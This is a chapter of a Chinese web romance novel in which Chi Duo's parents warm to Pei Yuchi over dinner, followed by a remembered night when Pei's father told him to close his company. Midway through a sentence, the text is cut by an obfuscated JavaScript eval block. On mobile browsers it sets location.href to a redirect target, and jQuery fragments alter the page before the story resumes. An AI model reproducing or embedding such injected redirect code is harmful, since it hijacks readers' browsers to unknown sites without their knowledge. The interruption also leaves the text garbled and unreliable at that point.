15.习惯
作品:《和豪门好兄弟睡了还怀了他的孩子》 晚宴到了最后,气氛从一开始的剑拔弩张,慢慢拐了个弯,变成宾主尽欢。
也不是谁先低头。
是桌上有酒,桌边人有故事。
迟了了爱品酒,林苹苹爱旅游,两人没事就满世界跑。
迟了了说起某年某庄的某一桶,话还没落完,裴与驰就把年份、气候、醒酒时间顺着补全;林苹苹兴致一来聊到“人迹罕至”的路线,他又能把补给、时差、当地向导常见的坑点讲得像亲自踩过。
不夸张,不卖弄,不抢话,也不让话题掉地上。
迟铎在旁边听得咋舌。
先不提裴总突发恶疾,人话竟然可以讲这么顺溜。
关键是他顺溜得不像临场发挥。
不难想象躺在裴总办公桌上的自家爸妈尽调报告内容能有多详细。
迟铎甚至怀疑:老爸老妈那些不堪回首的往事,也在里面。
比如老妈年轻时动不动就威胁外公外婆:不让她去墨脱,她就抱着相机死在墨脱。
虽然外公外婆妥协后,她也没死,活得比谁都精神。
至于老爸,年轻时唯爱创业:屡败屡战、屡战屡败。
最后生死看淡,改行品红酒,享空虚人生。
轮到酒上桌,他就有了精神。
迟了了嘴上依旧端着,偶尔“哼”一声,偶尔挑个小刺,装作自己只是“给面子”;
但杯子却越换越勤,话也越聊越长。
等甜点上来,迟了了端着杯子,视线一转,落到自家女婿身上。
杯子一空,眼神就闲了。
裴与驰今晚穿得无可挑剔,再配上那身量和长相,迟了了刚见面时心里那点微妙的不舒服又泛了上来。
不是别的。
主要是陪自己亮相各大场合都没露怯的战袍,这次被轻描淡写地压了一头。
他梗着脖子不承认,甚至还故意咳了一声,抬下巴,找回场子:
“你们年轻人就爱弄这些。”
裴与驰放下杯子,态度依旧恭敬:
“应该的。”
迟了了:“……”
好痛苦,连挑刺都挑不动。
散场时,服务生拉开门,走廊灯光一亮,迟铎才发现:自己爸妈居然跟裴与驰聊了一晚上。
迟铎:“……”
看这架势,要是裴与驰今晚顺手来募个资,他家估计能把钱投到余额只剩四位数密码。
车停在门口,裴与驰先下车,绕到另一侧开门。
迟了了下车的时候还装不在意,嘴里“嗯”了一声,像在应付。
林苹苹刚站稳,就有人从另一辆车上下来,双手递过一个不算大的黑色盒子。
抬手打开,她的微醺立刻清醒三分,眼睛亮得像被点了灯:
“古董徕卡?!”
盒子里那台机子不新,韵味十足。金属边角有一点包浆,皮套纹理干干净净,随附卡、编号、拍卖行落款都在。
女文青箴言:迷旧不迷新,越旧越像诗。
林苹苹看了两眼就抱紧,抬眼笑得人畜无害,语气甜得要命:
“宝贝真棒,我儿子真有品味!”
迟铎:“……”
他条件反射把自己手机扣住了。
怕下一秒屏幕亮起,他妈已经把裴与驰拉进家族群,备注:「我的宝贝亲亲女婿」。
外公外婆先吓一跳,七大姑八大姨再补一刀。
而自己,为了毁灭证据,谋杀的人从三人呈指数级增长。
林苹苹像是忽然想起什么,又温温柔柔地提醒:
“不过你爸那边你也别空手哦。”
迟了了:“……”
他被点名点得很准确,喉结动了一下。
随即“哼”了一声,生怕显得自己高兴。
裴与驰没多解释,只侧身示意,深色木箱递到迟了了面前。
迟了了目光落到酒标,停了一瞬。
Domaine de la Romanée-Conti。
Richebourg。
2008。
裴与驰语气平静:
“原木箱出。来源、流转和存储记录都在箱底。您要是想看,我让人把电子版也发您一份。”
迟了了没接话。
裴与驰又道:
“这瓶不急着开。放柜里就行。”
迟了了冷冷开口,台词却还是那一句:
“你们年轻人就爱弄这些。”
裴与驰点头:
“应该的。”
他顿了顿,像顺手把另一件事也安排好:
“定制套装也给您安排了一套。裁缝明早上门为您量尺寸。”
迟了了抬了抬下巴,硬邦邦:
“我有西装。”
“我知道。”裴与驰点头,语气很平,“今晚那套十分衬您。”
迟了了:“……”
裴与驰把话收得很周到:
“定制那套当备用。您觉得没必要,就不做。”
迟了了盯了他两秒,最后丢出三个字:
“……看着办。”
最后,裴与驰礼数做足,送到门口后站定,微微颔首:
“叔叔阿姨,晚安。”
林苹苹已经把徕卡盒子打开一条缝,像怕它跑了,头也不抬地纠正:
“叫什么阿姨,叫妈咪。”
迟铎:“……”
裴与驰从善如流:
“妈咪,晚安。”
然后他转向迟了了:
“叔叔,晚安。”
礼数周全,连多余一个字都没有。
迟了了:“……”
他松了一口气。
下一秒又觉得不该松,导致现在心里有点空。
偏偏裴与驰人一走,林苹苹就笑眯眯补刀:
“怎么了?还在回味那句‘叔叔’啊?”
伤肝第一名,还得林苹苹。五星上将麦克阿瑟如是说。
迟铎刚看完裴与驰的热闹,现世报就到了——轮到他丑媳妇见公婆。
裴与驰到门外的时候,迟铎还在镜子前跟领带僵持。
他这辈子跟领带的交集,基本止步于高中:被学校勒了几年,毕业就彻底断交。亚比潮男更信 choker——勒出风采,勒出艺术。
但今天不行。
头发染回黑色,用的植物染剂。左耳那两颗大钻也摘了,摘完才发现耳朵轻得过分,像把底气卸下来两斤,顺手把嚣张也卸了。
全套黑西装上身,衬衫袖口还别着某牌新出的子弹袖扣。
定制来不及,他只能走捷径:连夜翻 Vanity Fair 的版面,照着抄了一套 Dior 的正装。怕自己用力过猛,还把在国外做男装设计的老同学拉出来远程审稿。
对方看完,恭喜他要去港交所敲钟。
门铃响的时候,他的领带还歪着。
迟铎按住想把领带扯下来的冲动,开门。
裴与驰站在门外,目光落到迟铎身上,停了一会儿。
迟铎已经把“恼羞成怒”四个字在心里按了快捷键。
裴与驰没笑,只很轻地问:
“你把耳钉摘了?”
迟铎面不改色:
“嗯。今天不合适。”
他说完觉得还不够体面,又补一句:
“见你父母,太高调。”
裴与驰看着他,像真在心里认真评估了下,最后给出结论:
“你对‘高调’的理解挺朴素。”
迟铎:“……”
他把门往里一让,回头继续和领带搏斗。
刚扯到一半,后领忽然一紧——人被从背后拽了一下,顺势转了过去。
裴与驰站在他面前,影子把他罩住了。
迟铎一抬眼,视线先撞上对方衬衫领口和领带结,往上才是那双眼睛。再近半步,几乎就是拥抱。
裴与驰没说话,只垂着眼看他。
与从前相似的眼神,却多了点不讲道理的东西:欲念,和独占欲。
迟铎明明站得挺直,还是莫名有种被逼到墙角的错觉。
他喉咙发紧,脸上的热度一点点往上蹿。
本来想提醒一句“今天很重要,不能迟到”,话到了嘴边又被那眼神按回去。
每次都这样。
只要裴与驰这么看他,他就说不出话。
裴与驰抬手,指腹从他领口掠过,停在喉结旁边,轻轻压了一下。
迟铎下意识吞咽,连声音也一起吞了。
然后才是领带。
裴与驰把它捋直,绕过、压平、收紧。动作利落,却慢条斯理,慢到让人没法装没感觉。
领带一点点成形。结打好,裴与驰没有立刻退开。
他低头看了看,又抬眼把迟铎从头到尾扫了一遍。
视线落过领口、落过喉结,最后停在嘴唇上,停得很短,却足够让人心里发麻。
然后他笑了。
不是嘲弄,也不是那种很官方的笑。
很短,像忽然没忍住。
偏偏帅得犯规。
迟铎一时找不到词,只能在心里很不情愿地承认:这人笑起来真的有点帅的过分。
随即又骂自己:这几天是不是翻男装杂志翻傻了,怎么突然男同得这么彻底?
他硬把视线移开,装得很凶:“你笑什么?”
裴与驰:“看得出来你很上心。”
他顿了顿,声音低下来,“我很高兴。”
又补了一句,轻得像随口,却把人钉在原地:
“老婆。”
迟铎:“……”
他张了张嘴,先卡住,最后才找回一点气势:
“你别乱叫。”
话音落下,他才发现自己牙齿不自觉咬住了嘴唇。
到了车流,车速一降,时间就被拉长了。
裴与驰握着方向盘,面上不显任何焦躁,指尖还在方向盘上敲拍子。
迟铎却坐立不安,鞋尖在脚垫上点了两下,又立刻收住,手指还去扯安全带边缘,装作自己只是“随便整理一下”。
裴与驰目光看向旁边,语气淡淡的,像随口问天气:“这么怕见公婆吗?”
迟铎:“……”
他本来想说“谁怕了”,话到嘴边又觉得没必要。
怕不怕都是事实,他爸妈强势又难搞,对他儿子也这样。
他只抬了抬下巴:“你少得意。”
裴与驰见好就收,视线落回前方。
车窗外的红尾灯一格一格往前挪,像人把时间掰碎了数。
迟铎忽然想起很久以前裴与驰的一次失联。
读大学时,两人忙起来有时也会回不了家,但都会给对方留个信,哪怕一句“不回来了”。
裴与驰从来不让迟铎找不到他,迟铎也是。
可那天,电话不接,短信不回,连“已读”都没有。
凌晨三点,迟铎心里开始发凉。他没多想,拿了钥匙就往外走,从附近的 pub 一路找到裴与驰公司楼下。
夜里风很冷,楼下台阶也冷。
裴与驰就坐在自己基金公司门口的台阶上,背靠着罗马柱,像临时借了块地方落脚。
威士忌开着,万宝路也开着。袖口皱着,领口大开,表情很冷。
跟赛道日那次一模一样。
迟铎走过去,在他旁边坐下。台阶冰得要命,他没管。
他扫了一眼地上的瓶子,又看了看那盒万宝路,手指顿了顿,最后还是抽出一根。
他没问“怎么了”,也没问“你还好吗”。
废话问出口,只会更难受。
迟铎把烟叼在唇边,俯身去碰火,直接把烟头轻轻碰到裴与驰右手那根上。
两点火星一贴,亮了一下。
烟雾起来,迟铎才低声说:
“你失联了。”
裴与驰“嗯”了一声,像把回应扔出来就算。
迟铎抬手,碰了下他手腕:
“电话呢?”
裴与驰把手机递出来。屏幕黑着,像死物。
迟铎接过来,拇指一按,屏幕亮起。
通话记录一眼就能看见——最上面那条。
迟铎指尖忽然一紧。
“你爸?”他问。
裴与驰看着前方,过了很久才开口,声音平得像在背别人的台词:
“让我关掉公司。回国。学校随便选。”
他顿了顿,又补,“理解一下。”
“理解一下”四个字落在台阶上,轻得很,却让人胸口发闷。
迟铎沉默了一会儿,突然问:
“今天是不是又出新闻稿了?”
裴与驰没否认。
那种默认,比“嗯”更难听。
迟铎想象得出来:报道写起“Bruce Pei”,总要顺手补一句“出身”“家族”“背景”。点到为止,偏偏最毒。
意思都写在空白里:钱是裴家的,路是裴家的。
可他偏偏不靠路。
量化吃市场波动,不吃人情往来。
裴谦之也知道。
可对手更知道:国外做金融的儿子,国内开公司的妻子——够写一整版“家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901938|191384||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
族利益链”。
关键时刻,儿子那点事业在他眼里轻得像一张纸:捏成一团就顺手扔进垃圾桶。
迟铎把烟吸了一口,像把那口气压下去。
他偏头,看着裴与驰,终于说出那句他一直很笃定的话:
“就算你不姓裴,你也会成功。”
裴与驰终于看了他一眼,没说信,也没说不信。
那眼神很冷,但冷里有一丝疲惫,像在问:你拿什么保证?
迟铎想了想,忽然自己把自己拆台:
“也不对。你要是普通人,确实会遇到点挫折。”
裴与驰:“……”
迟铎一本正经:
“比如你去面试实习,老板很可能录第二名而不是你。”
裴与驰侧头,眼神终于有了点波动:
“为什么?”
迟铎转头,毫不避讳地把他从头到脚打量了一遍,像第一次认识这个人:
“毕竟你是 Baldwin。”
裴与驰:“……”
迟铎笑了一下,想把这夜里压得人喘不过气的东西撬开一点。
他想起上次吃饭时隔壁桌的闲聊,顺手挪用:
“man candy。”
裴与驰第一次全面吃瘪。
迟铎得寸进尺:
“能力之外,老板也得考虑自己作风问题。”
“尤其和你这种实习生单独共处一室时,清白得靠举证。”
裴与驰终于低低地笑了一声,短得几乎听不见。
但那一下,迟铎心口那块石头松了松。
他把烟夹在指间,声音稳下来:
“路线会曲折一点,但你一样会到你想去的地方。”
“你能到这里,不是因为你叫裴与驰。”
“你叫什么,都会到这里。”
裴与驰没说话,只把烟按灭了,指腹在烟蒂上多压了一下。
过了会儿,他才低声说:“我知道。”
迟铎这才把胳膊搭过去,故意把重量压裴与驰身上。
像哥俩好,也像顺便小小报复一下这个让自己担心一晚的好友:“回去吧。”
裴与驰没挣开,跟着站起来,动作有点慢。
迟铎抬眼看了看他的表,像突然想起今天是周日,立刻改口:“再过一个小时,花市开了。我们走过去逛一下。”
裴与驰看了他一眼,问得像审讯:“想逛花市,还是想吃可露丽?”
迟铎周日从来都见不到太阳,但花市附近那家咖啡馆的可露丽被安利过太多次,裴与驰无奈当过好几回外卖员。
迟铎被看穿,懒得装:“都要。”
裴与驰点头:“你请。”
迟铎立刻反驳:“你请。”
裴与驰“嗯”了一声,顺便把条款写完整:“全天。”
回忆到这里,车流往前挪了一截。
迟铎回过神,才发现自己一直攥着指尖。
他不是怕见公婆。
他怕的是他们用同一种语气跟他说他们俩的事——像当年那句“理解一下”。
偏偏旁边那位当事人还很轻松。
裴与驰握着方向盘,神色依旧闲适,连跟车都跟得从容。
迟铎看着看着就起火——他怎么能这么像“不在乎”。
“你倒是挺放松。”迟铎开口,语气比自己想象的更冲。
他停了停,毫不客气:
“你爸妈怎么样,你最清楚。”
裴与驰:“嗯。”
这一声“嗯”像默认,迟铎更气了,刚要再说——
裴与驰却先开了口,语气很平静,像把一件早就处理完的事顺手放到台面上:
“我提前谈过了。”
迟铎一怔。
裴与驰看着前方,补得更少,却更重:
“做了交换。”
“该谈的都谈好了。”
“今天只有家宴。”
迟铎没吭声,指尖却松了一下又握得更紧,紧得掌心发疼。
“交换”“家宴”这两个词摆在一起,意思已经很明显。
有些话本来要被端上桌,但裴与驰改掉了菜单——不该上的,一道没有。
他本该松口气的。
偏偏眼角先热了。
不是感动。是心疼。
心疼的也不是现在,是很多年前在台阶上坐着的裴与驰。
他背靠着柱子,一副无家可归的样子——不像贵公子,倒像被世界放了鸽子。
威士忌、万宝路、皱掉的袖口、散开的领口,和一句轻飘飘的“理解一下”。
迟铎几乎是和他一起长大。
他太清楚那四个字有多轻——轻到装不下裴与驰的这些年。
都是出生就赢在起跑线的人。
别人把钱喝掉,他把钱投进去;
别人忙着亮相,他忙着盯盘;
屏幕常亮,眼睛发干;
策略改了又改,回测跑了又跑——第一笔钱,自己挣进来。
起跑线他当然有。
可他自己跑出来的那段路程,谁也替代不了。
迟铎盯着裴与驰握方向盘的手,忽然觉得嗓子堵得慌。
这感觉他体验过——失联那晚就有,只是那时候他把它当成了别的。
直到现在,车灯一闪,那点自欺像薄雾一样散开。
原来从头到尾都没变:他在心疼他。
迟铎抬手,拇指在眼角蹭了一下,动作很快。
然后他把声音放得很轻,很软:
“今后,你有我。”
顿了顿,又补一句,几乎是含着气说的:
“还有 baby。”
车仍陷在车流里。
裴与驰左手稳在方向盘上,右手却伸了过来;迟铎也没躲,反手把他握住,十指相扣,扣得很紧。
他们以前不是这样牵的。
十二年里更多是拽手腕、搭胳膊。
走夜路怕走散,挤地铁怕被冲开,过马路怕慢半拍。人潮一涌,裴与驰一伸手,迟铎就被他捞回来,顺势跟上,像默认的队形。
那时候他们管这叫默契,叫习惯,叫——别走丢。
直到今天,好友这层壳终于退场,惯性还在,落点却变了:
他们不再只是把对方“捞回来”,而是把主动手交出去,扣紧,扣一辈子。
迟铎这才明白。
爱意不是突然冒出来的。
只是他们同时把爱,叫成了“习惯”。叫了很多年。
现在陷在爱里面的不止两个人了——
是三个。

